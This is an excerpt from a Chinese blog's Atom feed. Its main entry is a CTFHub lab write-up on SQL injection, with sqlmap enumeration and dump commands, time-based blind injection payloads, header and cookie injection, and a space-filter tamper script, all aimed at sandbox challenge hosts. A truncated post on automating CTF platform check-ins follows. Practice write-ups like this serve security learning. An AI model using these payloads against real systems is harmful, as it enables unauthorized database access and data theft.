class="tag">&lt;<span class="name">i</span> <span class="attr">class</span>=<span class="string">&quot;fas fa-share&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">i</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">span</span>&gt;</span>WeHao‘s Share<span class="tag">&lt;/<span class="name">span</span>&gt;</span><span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">ul</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://blog.ziworld.top/2025/07/22/2025-07-22-%E9%85%8D%E7%BD%AE%E5%8F%82%E8%80%83/</id>
    <link href="https://blog.ziworld.top/2025/07/22/2025-07-22-%E9%85%8D%E7%BD%AE%E5%8F%82%E8%80%83/"/>
    <published>2025-07-22T15:58:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="导航栏"><a href="#导航栏" class="headerlink" title="导航栏"></a>导航栏</h2><figure class="highlight html"><table><tr><td]]>
    </summary>
    <title>配置参考</title>
    <updated>2026-03-09T09:40:18.941Z</updated>
  </entry>
  <entry>
    <author>
      <name>ziworld</name>
    </author>
    <category term="CTF" scheme="https://blog.ziworld.top/categories/CTF/"/>
    <category term="练习" scheme="https://blog.ziworld.top/tags/%E7%BB%83%E4%B9%A0/"/>
    <category term="CTF" scheme="https://blog.ziworld.top/tags/CTF/"/>
    <category term="SQL注入" scheme="https://blog.ziworld.top/tags/SQL%E6%B3%A8%E5%85%A5/"/>
    <content>
      <![CDATA[<h1 id="sqlmap的使用"><a href="#sqlmap的使用" class="headerlink" title="sqlmap的使用"></a>sqlmap的使用</h1><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">判断是否有注入点</span><br><span class="line">sqlmap.py  -u  http://example.com/?id=<span class="number">1</span></span><br><span class="line"></span><br><span class="line">查询当前用户下的所有数据库</span><br><span class="line">sqlmap.py  -u  http://example.com/?id=<span class="number">1</span> --dbs</span><br><span class="line"></span><br><span class="line">获取数据库中的表名</span><br><span class="line">sqlmap.py  -u  “http://example.com/?id=<span class="number">1</span>” -D sjk --table</span><br><span class="line"></span><br><span class="line">获取表中的字段名</span><br><span class="line">sqlmap.py  -u  “http://example.com/?id=<span class="number">1</span>” -D sjk -T bm --columns</span><br><span class="line"></span><br><span class="line">获取字段内容</span><br><span class="line">sqlmap.py  -u  “http://example.com/?id=<span class="number">1</span>” -D sjk -T bm -C zdm --dump</span><br><span class="line"></span><br><span class="line">获取当前网站数据库的名称</span><br><span class="line">sqlmap.py  -u  “http://example.com/?id=<span class="number">1</span>” --current  -db</span><br><span class="line"></span><br><span class="line">--level表示深度级别</span><br><span class="line">级别 <span class="number">1</span>：仅测试 URL 中的 GET 参数</span><br><span class="line">级别 <span class="number">2</span>：增加测试 POST 参数</span><br><span class="line">级别 <span class="number">3</span>：增加测试 HTTP Cookie 参数</span><br><span class="line">级别 <span class="number">4</span>：增加测试 HTTP User-Agent 和 Referer 头</span><br><span class="line">级别 <span class="number">5</span>：会尝试更全面的参数测试，包括一些不常见的 HTTP 头</span><br></pre></td></tr></table></figure><h1 id="时间盲注"><a href="#时间盲注" class="headerlink" title="时间盲注"></a>时间盲注</h1><p>原理是通过构造带有<strong>时间延迟函数</strong>的恶意 SQL 语句，根据目标服务器的响应时间差异来判断注入的 SQL 语句是否执行成功，从而逐步推断数据库中的信息。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span><span class="string">&#x27; AND IF(条件, SLEEP(5), 0)--</span></span><br></pre></td></tr></table></figure><p>含义是：如果 “条件” 为真，则数据库会暂停 5 秒再响应；如果为假，则立即响应。</p><ul><li>若响应延迟了 5 秒，说明 “条件” 为真；</li><li>若响应无明显延迟，说明 “条件” 为假。</li></ul><p>通过不断调整 “条件”,逐步猜出数据库的结构和数据</p><p>例如，判断数据库名的第一个字符是否为 ‘a’：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span><span class="string">&#x27; AND IF(ASCII(SUBSTR(DATABASE(),1,1))=97, SLEEP(5), 0)--</span></span><br></pre></td></tr></table></figure><p>（注：<code>ASCII(&#39;a&#39;)</code>的结果为 97，若延迟 5 秒则说明第一个字符是 ‘a’）</p><h2 id="实战"><a href="#实战" class="headerlink" title="实战"></a>实战</h2><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726214510197.png" alt="image-20250726214510197"></p><p>使用工具sqlmap</p><p><code>python sqlmap.py -u &quot;http://challenge-d86fe39a047bbb2b.sandbox.ctfhub.com:10800/?id=1&quot; --dbs</code></p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726215600046.png" alt="image-20250726215600046"></p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726220533133.png" alt="image-20250726220533133"></p><p><code>python sqlmap.py -u &quot;http://challenge-d86fe39a047bbb2b.sandbox.ctfhub.com:10800/?id=1&quot; -D sqli --tables</code></p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726221449155.png" alt="image-20250726221449155"></p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726221214821.png" alt="image-20250726221214821"></p><p><code>python sqlmap.py -u &quot;http://challenge-d86fe39a047bbb2b.sandbox.ctfhub.com:10800/?id=1&quot; -D sqli --T flag --column --dump</code></p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726224643512.png" alt="image-20250726224643512"></p><h1 id="UA注入"><a href="#UA注入" class="headerlink" title="UA注入"></a>UA注入</h1><p><code>User-Agent</code>是 HTTP 请求头的一部分，用于标识发送请求的客户端的信息</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36</span><br></pre></td></tr></table></figure><p>Web 应用可能会记录<code>User-Agent</code>信息，例如存入数据库</p><h2 id="实战-1"><a href="#实战-1" class="headerlink" title="实战"></a>实战</h2><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726224244695.png" alt="image-20250726224244695"></p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726224449520.png" alt="image-20250726224449520"></p><p>使用sqlmap</p><p><code>python sqlmap.py -u &quot;http://challenge-1eddeef28b3c5ec1.sandbox.ctfhub.com:10800&quot;  --level 3 --dbs</code></p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726224622315.png" alt="image-20250726224622315"></p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726225116516.png" alt="image-20250726225116516"></p><p><code>python sqlmap.py -u &quot;http://challenge-1eddeef28b3c5ec1.sandbox.ctfhub.com:10800&quot;  --level 3 -D sqli --tables</code></p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726225212751.png" alt="image-20250726225212751"></p><p><code>python sqlmap.py -u &quot;http://challenge-1eddeef28b3c5ec1.sandbox.ctfhub.com:10800&quot;  --level 3 -D sqli -T rginmdejsd --columns</code></p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726225429564.png" alt="image-20250726225429564"></p><p><code>python sqlmap.py -u &quot;http://challenge-1eddeef28b3c5ec1.sandbox.ctfhub.com:10800&quot;  --level 3 -D sqli -T rginmdejsd -C bjaytlddwg --dump</code></p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726225525458.png" alt="image-20250726225525458"></p><h1 id="Refer注入"><a href="#Refer注入" class="headerlink" title="Refer注入"></a>Refer注入</h1><p><code>Referer</code>是 HTTP 请求头的一个字段，用于标识当前请求是从哪个 URL 跳转过来的。例如：</p><ul><li>当你从<code>https://example.com/pageA</code>点击链接进入<code>https://example.com/pageB</code>时，<code>pageB</code>的请求头中<code>Referer</code>字段值就是<code>https://example.com/pageA</code>。</li></ul><h2 id="实战-2"><a href="#实战-2" class="headerlink" title="实战"></a>实战</h2><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726225620236.png" alt="image-20250726225620236"></p><p>查询数据库名</p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726230526587.png" alt="image-20250726230526587"></p><p>查询数据表名</p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726230744386.png" alt="image-20250726230744386"></p><p>查询字段名</p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726231113047.png" alt="image-20250726231113047"></p><p>获得字段信息</p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726231250880.png" alt="image-20250726231250880"></p><h1 id="过滤空格"><a href="#过滤空格" class="headerlink" title="过滤空格"></a>过滤空格</h1><p>滤过空格的方法    &#x2F;**&#x2F;、()、%0a</p><p>sqlmap中的： space2comment.py </p><p>作用：用注释&#x2F;**&#x2F;替换空格字符’ ‘</p><h2 id="实战-3"><a href="#实战-3" class="headerlink" title="实战"></a>实战</h2><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726231658218.png" alt="image-20250726231658218"></p><p><code>python sqlmap.py -u &quot;http://challenge-6aa8be4b5bf8ca26.sandbox.ctfhub.com:10800/?id=1&quot; --dbs --tamper &quot;space2comment.py&quot;</code></p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726233336917.png" alt="image-20250726233336917"></p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726233304200.png" alt="image-20250726233304200"></p><p><code>python sqlmap.py -u &quot;http://challenge-6aa8be4b5bf8ca26.sandbox.ctfhub.com:10800/?id=1&quot; -D &quot;sqli&quot; --tables --tamper &quot;space2comment.py&quot;</code></p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726234829647.png" alt="image-20250726234829647"></p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726234749361.png" alt="image-20250726234749361"></p><p><code>python sqlmap.py -u &quot;http://challenge-6aa8be4b5bf8ca26.sandbox.ctfhub.com:10800/?id=1&quot; -D &quot;sqli&quot; -T ispxqemjbi --columns --tamper &quot;space2comment.py&quot;</code></p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250727000857393.png" alt="image-20250727000857393"></p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250727000118406.png" alt="image-20250727000118406"></p><p><code>python sqlmap.py -u &quot;http://challenge-6aa8be4b5bf8ca26.sandbox.ctfhub.com:10800/?id=1&quot; -D &quot;sqli&quot; -T ispxqemjbi -C llyxssifoc --dump --tamper &quot;space2comment.py&quot;</code></p><h1 id="Cookie注入"><a href="#Cookie注入" class="headerlink" title="Cookie注入"></a>Cookie注入</h1><h2 id="实战-4"><a href="#实战-4" class="headerlink" title="实战"></a>实战</h2><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726232756412.png" alt="image-20250726232756412"></p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726233110073.png" alt="image-20250726233110073"></p><p>测试一下</p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726233242429.png" alt="image-20250726233242429"></p><p>使用order by判断字段数量</p><p>当order by 3时，无回显，那么字段数量为2列</p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726233826547.png" alt="image-20250726233826547"></p><p>union select 1,2未发现数据</p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726233955504.png" alt="image-20250726233955504"></p><p>database()，查看数据库名</p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726234124271.png" alt="image-20250726234124271"></p><p>查看全部数据库名</p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726234204253.png" alt="image-20250726234204253"></p><p>查sqli中的表名</p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726234333975.png" alt="image-20250726234333975"></p><p>查看ywjyfeexys表中的全部字段名</p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726234537477.png" alt="image-20250726234537477"></p><p>看数据gyaycaommy中的内容</p><p><img src="/2025.7.21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/image-20250726234702053.png" alt="image-20250726234702053"></p>]]>
    </content>
    <id>https://blog.ziworld.top/2025/07/21/2025-7-21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/</id>
    <link href="https://blog.ziworld.top/2025/07/21/2025-7-21-SQL%E6%B3%A8%E5%85%A5(%E4%BA%8C)/"/>
    <published>2025-07-21T12:28:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="sqlmap的使用"><a href="#sqlmap的使用" class="headerlink" title="sqlmap的使用"></a>sqlmap的使用</h1><figure class="highlight cmd"><table><tr><td]]>
    </summary>
    <title>SQL注入(二)</title>
    <updated>2026-03-09T09:40:19.041Z</updated>
  </entry>
  <entry>
    <author>
      <name>ziworld</name>
    </author>
    <category term="工具" scheme="https://blog.ziworld.top/categories/%E5%B7%A5%E5%85%B7/"/>
    <category term="自动签到" scheme="https://blog.ziworld.top/tags/%E8%87%AA%E5%8A%A8%E7%AD%BE%E5%88%B0/"/>
    <content>
      <![CDATA[<p>支持靶场：</p><ul><li>NSSCTF</li><li>Bugku</li><li>CTFHub</li><li>攻防世界</li><li>青少年CTF练习平台</li></ul><p><a href="https://github.com/YZBRH/CTFOnlinePlatform-CoinCollector"><strong>下载</strong></a></p><h1 id="部署本地或服务器"><a href="#部署本地或服务器" class="headerlink" title="部署本地或服务器"></a>部署本地或服务器</h1><p>根据这仓库的介绍部署。每8小时自动执行一次，可以写个vbs脚本放开机自启里。</p><figure class="highlight vbs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">Set</span> objShell = <span class="built_in">CreateObject</span>(<span class="string">&quot;WScript.Shell&quot;</span>)</span><br><span class="line">objShell.Run <span class="string">&quot;cmd /k python &quot;&quot;main.py的实际路径&quot;</span>, <span class="number">0</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h1 id="使用github-action自动签到"><a href="#使用github-action自动签到" class="headerlink" title="使用github action自动签到"></a>使用github action自动签到</h1><p>推荐部署到github action上。</p><p>准备：一个github账号</p><p>config.py中填写需要自动签到平台的账号和密码，没有的就空</p><p>因为要部署到action上，源码要改一下。将main.py中的内容替换为下面</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span 